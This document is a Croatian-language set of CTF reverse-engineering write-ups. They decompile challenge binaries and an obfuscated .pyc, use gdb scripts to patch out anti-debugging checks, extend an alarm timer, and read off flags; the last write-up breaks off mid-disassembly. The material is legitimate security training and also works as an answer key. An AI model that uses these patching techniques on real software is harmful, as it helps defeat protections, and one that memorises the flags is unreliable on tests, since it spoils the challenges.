Možete li pronaći easter egg?

Kontekst zadatka

Dane su binarna datoteka battleship_core i python3 skripta gui.py. Pokretanjem korisnik može igrati igru potapanja brodova s računalom.

 Game Rev 2

Skripta gui.py pokreće datoteku battleship_core koja je od pravog interesa. Pokretanjem u Ghidri dobije se kod:

  setvbuf(stdout,0,2,0);
  tVar2 = time((time_t *)0x0);
  srandom((uint)tVar2);
  init_boards();
  place_ships_randomly(ai_ships,ai_ships_init);
  place_ships_randomly(pl_ships,pl_ships_init);
  puts("=======================================");
  puts("      BATTLESHIP - TERMINAL EDITION    ");
  puts("=======================================");
  while( true ) {
    print_boards();
    printf("\nTarget coordinates (Row Col) or \'Q\' to quit: ");
    lVar3 = fgets(acStack_16,10,stdin);
    if (lVar3 == 0) {
      return 0;
    if ((acStack_16[0] == 'Q') || (acStack_16[0] == 'q')) break;
    iVar1 = __isoc99_sscanf(acStack_16," %c %d",&cStack_17,&uStack_1c);
    if ((iVar1 == 2) ||
       (iVar1 = __isoc99_sscanf(acStack_16," %c%d",&cStack_17,&uStack_1c), iVar1 == 2)) {
      iVar1 = toupper((int)cStack_17);
      iStack_c = cStack_17 + -0x41;
      if (((-1 < iStack_c) && (((iStack_c < 10 && (-1 < (int)uStack_1c)) && ((int)uStack_1c < 10))))
         && (ai_view[(long)iStack_c * 10 + (long)(int)uStack_1c] == '~')) {
        record_player_move(iStack_c,uStack_1c);
        printf("\n>> You fire at %c%d... ",(ulong)(uint)(int)cStack_17,(ulong)uStack_1c);
        if (ai_ships[(long)iStack_c * 10 + (long)(int)uStack_1c] == 'S') {
          ai_view[(long)iStack_c * 10 + (long)(int)uStack_1c] = 0x48;
          puts(&DAT_00497102);
          ai_view[(long)iStack_c * 10 + (long)(int)uStack_1c] = 0x4d;
          puts("MISS.");
        ppuVar4 = __ctype_b_loc();
        if (((*ppuVar4)[(long)player_turn_count + 0x30] & 0x800) != 0) {
          verify_integrity();
        iVar1 = check_victory(ai_view);
        if (iVar1 != 0) {
          puts("\n*** YOU DEFEATED THE ENEMY FLEET! ***");
          save_game_log();
          return 0;
        ai_turn();
        iVar1 = check_victory(pl_view);
        if (iVar1 != 0) {
          puts("\n*** YOUR FLEET WAS DESTROYED. AI WINS! ***");
          save_game_log();
          return 0;
  save_game_log();
  return 0;

Ranjivost i ideja napada

Sljedeća funkcija ispisuje zastavicu ako je zadovoljen određeni uvjet:

void verify_integrity(void)
 
{
  long lVar1;
  int local_24;
  ulong local_20;
  int local_18;
  int local_14;
  long local_10;
 
  local_10 = 1;
  for (local_14 = 2; local_14 < 8; local_14 = local_14 + 1) {
    for (local_18 = 1; local_18 < 8; local_18 = local_18 + 1) {
      if (ai_view[(long)local_14 * 10 + (long)local_18] != '~') {
        lVar1 = get_prime(local_18 + local_14 * 7 + -0xf);
        local_10 = lVar1 * local_10;
      }
    }
  }
  if (local_10 == 0x129cf909ab3fb31) {
    local_20 = 0x1337beefcafebbff;
    for (local_24 = 0; local_24 < 100; local_24 = local_24 + 1) {
      local_20 = ((long)local_24 +
                 (local_20 << 5 ^ local_20 >> 0x1b) +
                 (ulong)(ai_view[(long)(local_24 / 10) * 10 + (long)(local_24 % 10)] != '~')) *
                 0x100000001b3;
    }
    printf("FLAG: CTF2026[%012llu]\n",local_20 % 1000000000000);
  }
  return;
}

Ključna linija je:

if (local_10 == 0x129cf909ab3fb31)

Varijabla local_10 inicijalizira se na vrijednost jedan te se množi rezultatom funkcije get_prime.

Faktorizacija vrijednosti 0x129cf909ab3fb31 je:

0x129cf909ab3fb31 = 3 * 13 * 109 * 149 * 157 * 163 * 167 * 173 * 179

Drugim riječima, rezultati get_prime funkcije moraju biti jednaki navedenim faktorima. Kako bi se get_prime funkcija izvršila, mora biti zadovoljen uvjet:

      if (ai_view[(long)local_14 * 10 + (long)local_18] != '~') {

Polje ai_view predstavlja stanje (ne)pogođenih koordinata koje je korisnik unio. Prvobitno su sve vrijednosti polja inicijalizirane na vrijednost ~. Ako je korisnik pogodio vrijednost se izmijeni na H, a ako je promašio na vrijednost M. Ovo se može potvrditi debuggingom programa nakon svakog unosa korisnika.

Drugim riječima, unos u funkciju get_prime ovisi o koordinatama koje je korisnik unio. Kako bi se dobila ispravna vrijednost varijable local_10 potrebno je unijeti koordinate za koje će funkcija get_prime vratiti ispravan faktor.

Kako bi se saznale ispravne koordinate, dovoljno je enumerirati sve ulaze i izlaze funkcije get_prime te ovisno o izlazu odrediti koja koordinata je odgovorna za njega.

Puno je načina kojima se to može postići. Rješenje koristi gdb skriptu. Najprije se postavlja breakpoint na početak funkcije verify_integrity nakon čega se izmijene svi bajtovi polja ai_view u vrijednost H. Zatim se postavlja breakpoint na instrukciju nakon call get_prime kako bi se provjerila vrijednost u rax registru. Ako vrijednost odgovara nekom od potrebnih faktora ispisuje se vrijednost local_14, odnosno dword ptr [rbp-0xC], te vrijednost varijable local_18, odnosno dword ptr [rbp-0x10].

Rješenje

python
factors = [3,13,109,149,157,163,167,173,179]
rows = ['A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J']
end
 
b *0x0000000000401b8f
commands
silent
python
ai_view = 0x4c7620
for i in range(100):
	gdb.execute(f"set *(char*){ai_view+i} = 'H'")
end
c
end
 
b *0x0000000000401bfa
commands
silent
python
prime = int(gdb.parse_and_eval("(int)$rax"))
if prime in factors:
	row = gdb.parse_and_eval("*(int*)($rbp-0x0c)")
	column = gdb.parse_and_eval("*(int*)($rbp-0x10)")
	print(f"{rows[row]}{int(column)}")
end
c
end
 
r < <(echo "A0")

Pokrenuti skriptu unutar gdb-a s naredbom source script.gdb.

P2P Checker

Neobičan password checker je pronađen, navodno inspiriran 
torrent protokolom. Možete li saznati koji je točan password?

Kontekst zadatka

 P2P Checker

Dane su binarna datoteka i skripta za pokretanje. Skripta za pokretanje provjerava validnost naredbenog argumenta te ga prosljeđuje datoteci:

#!/bin/sh
 
if [ "$#" -ne 1 ]; then
    echo "Usage: $0 <password>"
    echo "Example: $0 'CTF2026[123456789012]'"
    exit 1
fi
 
USER_INPUT="$1"
 
case "$USER_INPUT" in
    CTF2026\[[0-9][0-9][0-9][0-9][0-9][0-9][0-9][0-9][0-9][0-9][0-9][0-9]\])
        exec ./challenge "$USER_INPUT"
        ;;
    *)
        echo "[-] Invalid format!"
        echo "[-] Expected format: CTF2026[12-digit-number]"
        exit 1
        ;;
esac

Analizom datoteke unutar Ghidre dobije se glavna funkcija:

undefined8 main(int param_1,long param_2)
 
{
  __pid_t _Var1;
  int iVar2;
  undefined8 uVar3;
  long in_FS_OFFSET;
  int local_a0;
  int local_9c;
  undefined8 local_98;
  undefined4 local_90;
  undefined4 local_88;
  undefined8 local_80;
  undefined8 local_78;
  undefined8 local_70;
  undefined8 local_68;
  long local_10;
 
  local_10 = *(long *)(in_FS_OFFSET + 0x28);
  if (param_1 == 2) {
    signal(0xe,clexit);
    alarm(10);
    signal(2,clexit);
    signal(0xf,clexit);
    m_q_id = msgget(-0x3f8fdd59,0x3b6);
    msgctl(m_q_id,0,(msqid_ds *)0x0);
    m_q_id = msgget(-0x3f8fdd59,0x3b6);
    printf("[~] Network boot");
    fflush((FILE *)stdout);
    for (local_a0 = 0; local_a0 < 4; local_a0 = local_a0 + 1) {
      _Var1 = fork();
      if (_Var1 == 0) {
        m_p_id = local_a0;
        iVar2 = dbgd();
        if (iVar2 != 0) {
          d_code = ~d_code;
        }
        distdis();
        torr(*(undefined8 *)(param_2 + 8));
        uVar3 = 0;
        goto LAB_004028eb;
      }
    }
    local_98 = 10;
    local_90 = 1;
    local_88 = 0;
    local_80 = INIT_C_S;
    local_78 = DAT_004ae0e8;
    local_70 = DAT_004ae0f0;
    local_68 = DAT_004ae0f8;
    msgsnd(m_q_id,&local_98,0x78,0);
    for (local_9c = 0; local_9c < 4; local_9c = local_9c + 1) {
      wait((void *)0x0);
    }
    msgctl(m_q_id,0,(msqid_ds *)0x0);
    uVar3 = 0;
  }
  else {
    uVar3 = 1;
  }
LAB_004028eb:
  if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) {
                    /* WARNING: Subroutine does not return */
    __stack_chk_fail();
  }
  return uVar3;
}

Program postavlja alarm, nakon čega poziva fork četiri puta.

Funkcija dbgd čita trenutno stanje TracerPid vrijednosti procesa koja se koristi za anti-debugging provjeru.

Funkcija distdis se koristi za sinkronizaciju stvorenih procesa. Unutar nje, procesi si međusobno šalju podatke funkcijama msgsnd i msgrcv.

Funkcija torr provjerava validnost zastavice:

void torr(undefined8 param_1)
 
{
 ... 
  local_20 = *(long *)(in_FS_OFFSET + 0x28);
  local_238[0] = 0;
  local_238[1] = 0;
  local_238[2] = 0;
  local_238[3] = 0;
  local_128[0] = 0;
  local_128[1] = 0;
  local_128[2] = 0;
  local_128[3] = 0;
  local_128[4] = 0;
  local_128[5] = 0;
  local_128[6] = 0;
  local_128[7] = 0;
  local_128[8] = 0;
  local_128[9] = 0;
  local_128[10] = 0;
  local_128[0xb] = 0;
  local_128[0xc] = 0;
  local_128[0xd] = 0;
  local_128[0xe] = 0;
  local_128[0xf] = 0;
  local_128[0x10] = 0;
  local_128[0x11] = 0;
  local_128[0x12] = 0;
  local_128[0x13] = 0;
  local_128[0x14] = 0;
  local_128[0x15] = 0;
  local_128[0x16] = 0;
  local_128[0x17] = 0;
  local_128[0x18] = 0;
  local_128[0x19] = 0;
  local_128[0x1a] = 0;
  local_128[0x1b] = 0;
  local_128[0x1c] = 0;
  local_128[0x1d] = 0;
  local_128[0x1e] = 0;
  local_128[0x1f] = 0;
  ...
  syscall();
  _DAT_00000009 = local_128[0];
  _DAT_00000011 = local_128[1];
  _DAT_00000019 = local_128[2];
  _DAT_00000021 = local_128[3];
  _DAT_00000029 = local_128[4];
  _DAT_00000031 = local_128[5];
  _DAT_00000039 = local_128[6];
  _DAT_00000041 = local_128[7];
  _DAT_00000049 = local_128[8];
  _DAT_00000051 = local_128[9];
  _DAT_00000059 = local_128[10];
  _DAT_00000061 = local_128[0xb];
  _DAT_00000069 = local_128[0xc];
  _DAT_00000071 = local_128[0xd];
  _DAT_00000079 = local_128[0xe];
  _DAT_00000081 = local_128[0xf];
  _DAT_00000089 = local_128[0x10];
  _DAT_00000091 = local_128[0x11];
  _DAT_00000099 = local_128[0x12];
  _DAT_000000a1 = local_128[0x13];
  _DAT_000000a9 = local_128[0x14];
  _DAT_000000b1 = local_128[0x15];
  _DAT_000000b9 = local_128[0x16];
  _DAT_000000c1 = local_128[0x17];
  _DAT_000000c9 = local_128[0x18];
  _DAT_000000d1 = local_128[0x19];
  _DAT_000000d9 = local_128[0x1a];
  _DAT_000000e1 = local_128[0x1b];
  _DAT_000000e9 = local_128[0x1c];
  _DAT_000000f1 = local_128[0x1d];
  _DAT_000000f9 = local_128[0x1e];
  _DAT_00000101 = local_128[0x1f];
  iVar2 = (*(code *)&DAT_00000009)(param_1,0x100,9,local_128[0x1e],0xffffffffffffffff,0);
  memset(&DAT_00000009,0,0x100);
  memset(local_128,0,0x100);
  puts("\n[!] consensus reached.");
  if (iVar2 == 1) {
    puts("[+] ACCESS GRANTED. Flag verified.");
  }
  else {
    puts("[-] ACCESS DENIED. Validation failed.");
  }
  if (local_20 == *(long *)(in_FS_OFFSET + 0x28)) {
    return;
  }
                    /* WARNING: Subroutine does not return */
  __stack_chk_fail();
}

Ranjivost i ideja napada

Program ispisuje ACCESS GRANTED ako varijabla iVar2 ima vrijednost 1 u trenutku provjere. Vrijednost varijable iVar2 ovisi o pozivu koda na stogu na adresi rbp-0x120, vidljivo u liniji:

  iVar2 = (*(code *)&DAT_00000009)(param_1,0x100,9,local_128[0x1e],0xffffffffffffffff,0);

S obzirom na to da je kod dinamički generiran, potrebno je koristiti debugger te ga analizirati nakon generiranja.

Kako bi to bilo moguće, preduvjet je zaobići anti-debugging provjere funkcije dbgd te povećati vrijeme alarma.

Unutar dbgd funkcije:

      iVar1 = strncmp(local_118,"TracerPid:",10);
    } while (iVar1 != 0);
    iVar1 = atoi(acStack_10e);
    fclose(__stream);
    bVar3 = iVar1 != 0;
  }
  ...
  return bVar3;

Vrijednost TracerPid mora biti jednaka nuli, što je pokazatelj da program nije debuggiran, odnosno vrijednost bVar3 mora biti nula.

Rješenje koristi tehniku binary patching tijekom debugging sesije. Unutar gdb skripte, na početku programa se mijenjaju bajtovi programa.

Na adresi poziva alarm funkcije nalaze se bajtovi:

        00402735 bf 0a 00        MOV        EDI,0xa
                 00 00

Umjesto 0x0a, postavlja se bajt 0xff.

Na početku funkcije dbgd, umjesto:

004019b4 f3 0f 1e fa     ENDBR64

postavljaju se instrukcije:

mov eax, 0x0;
ret;

Potrebni bajtovi za navedene instrukcije mogu se dobiti pwntools modulom.

Gdb skripta:

set follow-fork-mode child
 
b main
commands
silent
python
alarm = 0x0402736
gdb.execute(f"set *(char*) {alarm}=255")
dbgd = 0x4019b8
patch = b'\xb8\x00\x00\x00\x00\xc3'
for i,b in enumerate(patch):
	gdb.execute(f"set *(char*) ({dbgd+i}) = {b}")
end
c
end
 
b *0x00402656
commands
silent
x/48i $rbp-0x120
c
end
 
r CTF2026[111111111111]

Nakon pokretanja skripte par puta dobije se:

............................................................+++++[Switching to process 4414]
   0x7fffffffddc0:	endbr64
   0x7fffffffddc4:	xor    eax,eax
   0x7fffffffddc6:	cmp    BYTE PTR [rdi],0x43
   0x7fffffffddc9:	jne    0x7fffffffde50
   0x7fffffffddcf:	cmp    BYTE PTR [rdi+0x1],0x54
   0x7fffffffddd3:	jne    0x7fffffffde50
   0x7fffffffddd5:	cmp    BYTE PTR [rdi+0x2],0x46
   0x7fffffffddd9:	jne    0x7fffffffde50
   0x7fffffffdddb:	cmp    BYTE PTR [rdi+0x3],0x32
   0x7fffffffdddf:	jne    0x7fffffffde50
   0x7fffffffdde1:	cmp    BYTE PTR [rdi+0x4],0x30
   0x7fffffffdde5:	jne    0x7fffffffde50
   0x7fffffffdde7:	cmp    BYTE PTR [rdi+0x5],0x32
   0x7fffffffddeb:	jne    0x7fffffffde50
   0x7fffffffdded:	cmp    BYTE PTR [rdi+0x6],0x36
   0x7fffffffddf1:	jne    0x7fffffffde50
   0x7fffffffddf3:	cmp    BYTE PTR [rdi+0x7],0x5b
   0x7fffffffddf7:	jne    0x7fffffffde50
   0x7fffffffddf9:	cmp    BYTE PTR [rdi+0x8],0x35
   0x7fffffffddfd:	jne    0x7fffffffde50
   0x7fffffffddff:	cmp    BYTE PTR [rdi+0x9],0x35
   0x7fffffffde03:	jne    0x7fffffffde50
   0x7fffffffde05:	cmp    BYTE PTR [rdi+0xa],0x30
   0x7fffffffde09:	jne    0x7fffffffde50
   0x7fffffffde0b:	cmp    BYTE PTR [rdi+0xb],0x39
   0x7fffffffde0f:	jne    0x7fffffffde50
   0x7fffffffde11:	cmp    BYTE PTR [rdi+0xc],0x34
   0x7fffffffde15:	jne    0x7fffffffde50
   0x7fffffffde17:	cmp    BYTE PTR [rdi+0xd],0x34
   0x7fffffffde1b:	jne    0x7fffffffde50
   0x7fffffffde1d:	cmp    BYTE PTR [rdi+0xe],0x32
   0x7fffffffde21:	jne    0x7fffffffde50
   0x7fffffffde23:	cmp    BYTE PTR [rdi+0xf],0x34
   0x7fffffffde27:	jne    0x7fffffffde50
   0x7fffffffde29:	cmp    BYTE PTR [rdi+0x10],0x31
   0x7fffffffde2d:	jne    0x7fffffffde50
   0x7fffffffde2f:	cmp    BYTE PTR [rdi+0x11],0x36
   0x7fffffffde33:	jne    0x7fffffffde50
   0x7fffffffde35:	cmp    BYTE PTR [rdi+0x12],0x36
   0x7fffffffde39:	jne    0x7fffffffde50
   0x7fffffffde3b:	cmp    BYTE PTR [rdi+0x13],0x30
   0x7fffffffde3f:	jne    0x7fffffffde50
   0x7fffffffde41:	cmp    BYTE PTR [rdi+0x14],0x5d
   0x7fffffffde45:	jne    0x7fffffffde50
   0x7fffffffde47:	xor    eax,eax
   0x7fffffffde49:	cmp    BYTE PTR [rdi+0x15],0x0
   0x7fffffffde4d:	sete   al
   0x7fffffffde50:	ret

Kod je uspješno generiran i prikazan. Uspoređuje bajtove naredbenog argumenta s hardkodiranim bajtovima koji su ujedno bajtovi zastavice.

Rješenje

set follow-fork-mode child
 
b main
commands
silent
python
alarm = 0x0402736
gdb.execute(f"set *(char*) {alarm}=255")
dbgd = 0x4019b8
patch = b'\xb8\x00\x00\x00\x00\xc3'
for i,b in enumerate(patch):
	gdb.execute(f"set *(char*) ({dbgd+i}) = {b}")
end
c
end
 
b *0x00402656
commands
silent
x/48i $rbp-0x120
c
end
 
r CTF2026[111111111111]

PYC Reversing

Dana je .pyc datoteka. Sumnja se da je obfuscirana. Možeš li saznati što radi?

Kontekst zadatka

Dana je .pyc datoteka. Pokretanjem ispisuje se:

Pokretanje...
Nepostojeći unos, izlazak iz programa...

Dekompilacijom datoteke dobije se kod:

print(''.join([chr(c) for c in (80, 111, 107, 114, 101, 116, 97, 110, 106, 101, 46, 46, 46)]))
_VrpoiVgR = ''.join([chr(c) for c in (108, 111, 122, 105, 110, 107, 97, 49, 50, 51)])
import os
try:
    _fygw2wMq = {93: 68}
    _BcbfnoGMbJmT = os.read(20, 21)
    _AoCLrZ3aWZkS = ''.join([chr(b ^ 88) for b in (59, 48, 57, 52, 118, 48, 57, 59, 51, 54, 49, 44, 61, 118, 48, 42)])
    _cQoXsf2o = 887
    if 48 == 136:
        pass
except Exception as _wnQrS7RPeM:
    pass
except:
    if Exception:
        _wnQrS7RPeM = None
        _wnQrS7RPeM = None
        del _wnQrS7RPeM, _wnQrS7RPeM
        _wnQrS7RPeM = None
    print(''.join([chr(b ^ 40) for b in (102, 77, 88, 71, 91, 92, 71, 66, 77, 303, 65, 8, 93, 70, 71, 91, 4, 8, 65, 82, 68, 73, 82, 73, 67, 8, 65, 82, 8, 88, 90, 71, 79, 90, 73, 69, 73, 6, 6, 6)]))
    exit()
    len('yrOSJoRuXXdocZuzr')
    _eInGqi7w = 902
    _n68K4Tun = 159865332597048718801071185888472247278750295198451
    for _kC1ITtNZPH in range(0):
        pass
    _VrpoiVgR = _BcbfnoGMbJmT
    _84iqh4gV = lambda x: x + 1
    if 56 == 171:
        pass
    import socket
    def _z46PDjqipVJ(_AoCLrZ3aWZkS, _n68K4Tun):
        assert 4 < 1000000000
        with open('/dev/null', 'w') as _zxoiGFfWd3hj:
            pass
        return _AoCLrZ3aWZkS, int.from_bytes(_BcbfnoGMbJmT) ^ _n68K4Tun
 
    if _VrpoiVgR == ''.join([chr(b ^ 197) for b in (168, 167, 164, 180, 245, 161, 161, 246, 173, 164, 247, 173, 167, 189, 246, 173, 174, 161, 252, 177, 240)]).encode():
        _TtzQPxC5H = lambda x: x + 1
        with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as _hsBkDa9U4U:
            _7x41Ztpd = [x * 2 for x in (9, 1, 1)]
            assert 3 < 1000000000
            _hsBkDa9U4U.connect(_z46PDjqipVJ(_AoCLrZ3aWZkS, _n68K4Tun))
            _GWlG6g3Ot1 = ''.join([chr(c) for c in (71, 105, 118, 101, 32, 109, 101, 32, 116, 104, 101, 32, 102, 108, 97, 103)])
            _xWkI9X7H6 = _GWlG6g3Ot1.encode()
            _hsBkDa9U4U.sendall(_xWkI9X7H6)
            print(''.join([chr(c) for c in (73, 122, 108, 97, 122, 97, 107, 46, 46, 46)]))
            while 0 == 68:
                pass
_eInGqi7w = 902
_n68K4Tun = 159865332597048718801071185888472247278750295198451
for _kC1ITtNZPH in range(0):
    pass
_VrpoiVgR = _BcbfnoGMbJmT
_84iqh4gV = lambda x: x + 1
if 56 == 171:
    pass
import socket
 
def _z46PDjqipVJ(_AoCLrZ3aWZkS, _n68K4Tun):
    assert 4 < 1000000000
    with open('/dev/null', 'w') as _zxoiGFfWd3hj:
        pass
    return _AoCLrZ3aWZkS, int.from_bytes(_BcbfnoGMbJmT) ^ _n68K4Tun
 
if _VrpoiVgR == ''.join([chr(b ^ 197) for b in (168, 167, 164, 180, 245, 161, 161, 246, 173, 164, 247, 173, 167, 189, 246, 173, 174, 161, 252, 177, 240)]).encode():
    _TtzQPxC5H = lambda x: x + 1
    with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as _hsBkDa9U4U:
        _7x41Ztpd = [x * 2 for x in (9, 1, 1)]
        assert 3 < 1000000000
        _hsBkDa9U4U.connect(_z46PDjqipVJ(_AoCLrZ3aWZkS, _n68K4Tun))
        _GWlG6g3Ot1 = ''.join([chr(c) for c in (71, 105, 118, 101, 32, 109, 101, 32, 116, 104, 101, 32, 102, 108, 97, 103)])
        _xWkI9X7H6 = _GWlG6g3Ot1.encode()
        _hsBkDa9U4U.sendall(_xWkI9X7H6)
        print(''.join([chr(c) for c in (73, 122, 108, 97, 122, 97, 107, 46, 46, 46)]))
        while 0 == 68:
            pass
    for _bLJoLoaeTO in range(0):
        pass
else:
    for _3veGprQF in range(0):
        pass
    len('pYEZAmggQBwBADUdRP')
    print(''.join([chr(b ^ 247) for b in (185, 146, 158, 132, 135, 133, 150, 129, 150, 153, 215, 130, 153, 152, 132, 219, 215, 158, 141, 155, 150, 141, 150, 156, 215, 158, 141, 215, 135, 133, 152, 144, 133, 150, 154, 150, 217, 217, 217)]))
    _Z3gpmmICiB = 93334402602
_kAFEn3z5d = {48: 33, 0: 100}
_ddLEG62Hkd = 1425195
_zh84KpLMc = 634
exit()
with open('/dev/null', 'w') as _KHu7qnQTupqz:
    pass
while 0 == 37:
    pass
# WARNING: Decompyle incomplete

Ranjivost i ideja napada

Program je obfusciran.

Ključan dio koda:

    if _VrpoiVgR == ''.join([chr(b ^ 197) for b in (168, 167, 164, 180, 245, 161, 161, 246, 173, 164, 247, 173, 167, 189, 246, 173, 174, 161, 252, 177, 240)]).encode():
        _TtzQPxC5H = lambda x: x + 1
        with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as _hsBkDa9U4U:
            _7x41Ztpd = [x * 2 for x in (9, 1, 1)]
            assert 3 < 1000000000
            _hsBkDa9U4U.connect(_z46PDjqipVJ(_AoCLrZ3aWZkS, _n68K4Tun))
            _GWlG6g3Ot1 = ''.join([chr(c) for c in (71, 105, 118, 101, 32, 109, 101, 32, 116, 104, 101, 32, 102, 108, 97, 103)])
            _xWkI9X7H6 = _GWlG6g3Ot1.encode()
            _hsBkDa9U4U.sendall(_xWkI9X7H6)

Vidljivo je da se program povezuje na socket. U granu se ulazi ako je varijabla _VrpoiVgR jednaka određenom nizu bajtova.

Njoj se prosljeđuje varijabla:

_VrpoiVgR = _BcbfnoGMbJmT

Pritom prije toga _BcbfnoGMbJmT prima unos u liniji:

 _BcbfnoGMbJmT = os.read(20, 21)

U python interpreteru:

>>> a = ''.join([chr(b ^ 197) for b in (168, 167, 164, 180, 245, 161, 161, 246, 173, 164, 247, 173, 167, 189, 246, 173, 174, 161, 252, 177, 240)]).encode()
>>> a
b'mbaq0dd3ha2hbx3hkd9t5'

Dakle, ako se u file descriptor 20 upiše niz “mbaq0dd3ha2hbx3hkd9t5”, funkcija će se povezati na socket.

Pregledom s pomoću strace naredbe, dobije se konekcija i sadržaj sendto funkcije

strace -e connect,sendto python3 challenge.cpython-311.pyc 20< <(echo "mbaq0dd3ha2hbx3hkd9t5")
strace: Exit of unknown pid 9305 ignored
Pokretanje...
connect(4, {sa_family=AF_UNIX, sun_path="/var/run/nscd/socket"}, 110) = -1 ENOENT (No such file or directory)
connect(4, {sa_family=AF_UNIX, sun_path="/var/run/nscd/socket"}, 110) = -1 ENOENT (No such file or directory)
connect(3, {sa_family=AF_INET, sin_port=htons(32454), sin_addr=inet_addr("127.0.0.1")}, 16) = 0
sendto(3, "Give me the flag", 16, 0, NULL, 0) = 16
Izlazak...
+++ exited with 0 +++

Napomena: adresa 127.0.0.1 je upisana umjesto prave adrese zadatka.

Sadržaj sendto je “Give me the flag”. Ako se netcatom poveže na poslužitelj i pošalje navedeni string dobije se b64 enkodirani string.

Dekodiranjem stringa dobije se HTML stranica.

Rješenje

Otvoriti HTML stranicu na kojoj se ispiše flag.

Rev Zagrijavanje

Zagrijte se za rev zadatke.

Kontekst zadatka

Otvaranjem zadatka u Ghidri analizira se glavna funkcija:

undefined8 FUN_00401830(void)
 
{
  int iVar1;
  undefined8 uVar2;
  long in_FS_OFFSET;
  char cStack_98;
  char cStack_97;
  char cStack_96;
  char cStack_95;
  char cStack_94;
  char cStack_93;
  char cStack_92;
  char cStack_91;
  char cStack_90;
  char cStack_8f;
  char cStack_8e;
  char cStack_8d;
  char cStack_8c;
  char cStack_8b;
  char cStack_8a;
  char cStack_89;
  char cStack_88;
  char cStack_87;
  char cStack_86;
  char cStack_85;
  char cStack_84;
  char cStack_83;
  long lStack_10;
 
  lStack_10 = *(long *)(in_FS_OFFSET + 0x28);
  FUN_00427750(2,&DAT_0049e02c);
  FUN_0040df10(DAT_004ca6d0);
  iVar1 = FUN_00404f10(&DAT_0049e041,&cStack_98);
  if ((((((iVar1 == 1) && (cStack_83 == '\0')) && (cStack_98 == 'C')) &&
       (((cStack_97 == 'T' && (cStack_96 == 'F')) &&
        ((cStack_95 == '2' && ((cStack_94 == '0' && (cStack_93 == '2')))))))) &&
      ((cStack_92 == '6' &&
       ((((((cStack_91 == '[' && (cStack_90 == '3')) && (cStack_8f == '3')) &&
          ((cStack_8e == '6' && (cStack_8d == '4')))) &&
         ((cStack_8c == '2' && ((cStack_8b == '3' && (cStack_8a == '7')))))) && (cStack_89 == '0')))
       ))) && ((((cStack_88 == '1' && (cStack_87 == '7')) && (cStack_86 == '0')) &&
               ((cStack_85 == '3' && (cStack_84 == ']')))))) {
    FUN_0040e070(&DAT_0049e057);
    uVar2 = 0;
  }
  else {
    FUN_0040e070(&DAT_0049e047);
    uVar2 = 1;
  }
  if (lStack_10 == *(long *)(in_FS_OFFSET + 0x28)) {
    return uVar2;
  }
                    /* WARNING: Subroutine does not return */
  FUN_00427820();
}

Ranjivost i ideja napada

Bajtovi unosa se uspoređuju s bajtovima zastavice.

Rješenje

Iščitati zastavicu iz instrukcija.

Secret key

Alatom PIN je analiziran tok programa s traženim tajnim ključem. Možeš li saznati znamenke ključa?

Kontekst zadatka

Dana je tekstualna datoteka sa sadržajem analize:

Unesi ključ: REDACTED #samo znamenke
Tajni ključ: 1440919487

Analiza izvođenja funkcije "cypher" s unesenim ključem:
Broj izvršenih add instrukcija: 213
Broj izvršenih sub instrukcija: 59
Broj izvršenih or instrukcija: 1
Broj izvršenih idiv instrukcija: 7

Analizom binarne datoteke u Ghidri dobije se glavna funkcija:

undefined8 main(void)
 
{
  undefined1 auStack_19 [13];
  undefined4 uStack_c;
 
  printf(&UNK_0047a004);
  fgets(auStack_19,0xd,stdin);
  uStack_c = cypher(auStack_19);
  printf(&UNK_0047a013,uStack_c);
  return 0;
}

Primjer pokretanja programa:

 ./a.out 
Unesi ključ: 123123123123
Tajni ključ: 3123768157

Program traži unos ključa, nakon čega se generira tajni ključ. U datoteci je dan broj izvršenih instrukcija poput add sub or i idiv.

Potrebno je iz generiranog tajnog ključa otkriti koji ključ je korišten kako bi se došlo do zastavice.

Ranjivost i ideja napada

Analizom funkcije cypher dobije se:

int cypher(char *param_1)
 
{
  uint uVar1;
  int iVar2;
  int iVar3;
  int local_14;
  byte local_d;
  uint local_c;
 
  local_c = 0;
  for (local_14 = 0; local_14 < (int)(uint)(byte)(*param_1 - param_1[1]); local_14 = local_14 + 1) {
    local_c = local_c + param_1[1] * local_14;
    local_c = local_c * 0x10 | local_c >> 0x1c;
  }
  local_d = param_1[3] ^ param_1[2];
  while (local_d != 0) {
    local_d = local_d - 1;
    uVar1 = (local_c | local_d) + (int)param_1[2];
    local_c = uVar1 * 8 | uVar1 >> 0x1d;
  }
  for (local_d = param_1[4] * param_1[5]; local_d != '\0'; local_d = local_d - param_1[4]) {
    local_c = (local_c + (int)param_1[4]) * 0x80 | local_c + (int)param_1[4] >> 0x19;
  }
  for (local_d = 100; local_d != 0;
      local_d = (byte)((long)(ulong)local_d / (long)(param_1[6] + -0x2e))) {
    local_c = (local_c + (int)param_1[7]) * 0x800 | local_c + (int)param_1[7] >> 0x15;
  }
  srandom(*(uint *)(param_1 + 8));
  iVar2 = rand();
  srandom(local_c);
  iVar3 = rand();
  return iVar2 + iVar3;
}

Specifično, bitan je odsječak:

  srandom(*(uint *)(param_1 + 8));
  iVar2 = rand();
  srandom(local_c);
  iVar3 = rand();
  return iVar2 + iVar3;

Prvi seed za srandom su zadnje četiri znamenke ključa. Drugi seed je rezultat različitih operacija nad prvih osam bajtova ključa.

S obzirom na to da dani brojevi izvršenih instrukcija u PIN analizi, potreban je disassembly koda:

[0x00401530]> s sym.cypher 
[0x00401655]> pdf
            ; CALL XREF from main @ 0x4017fe(x)
┌ 366: sym.cypher (char *arg1);
│ `- args(rdi) vars(5:sp[0xc..0x20])
│           0x00401655      55             push rbp
│           0x00401656      4889e5         mov rbp, rsp
│           0x00401659      4883ec20       sub rsp, 0x20
│           0x0040165d      48897de8       mov qword [seed], rdi       ; arg1
│           0x00401661      c745fc0000..   mov dword [var_4h], 0
│           0x00401668      488b45e8       mov rax, qword [seed]
│           0x0040166c      0fb600         movzx eax, byte [rax]
│           0x0040166f      89c2           mov edx, eax
│           0x00401671      488b45e8       mov rax, qword [seed]
│           0x00401675      4883c001       add rax, 1
│           0x00401679      0fb600         movzx eax, byte [rax]
│           0x0040167c      89c1           mov ecx, eax
│           0x0040167e      89d0           mov eax, edx
│           0x00401680      29c8           sub eax, ecx
│           0x00401682      8845fb         mov byte [var_5h], al
│           0x00401685      c745f40000..   mov dword [var_ch], 0
│       ┌─< 0x0040168c      eb1d           jmp 0x4016ab
│       │   ; CODE XREF from sym.cypher @ 0x4016b2(x)
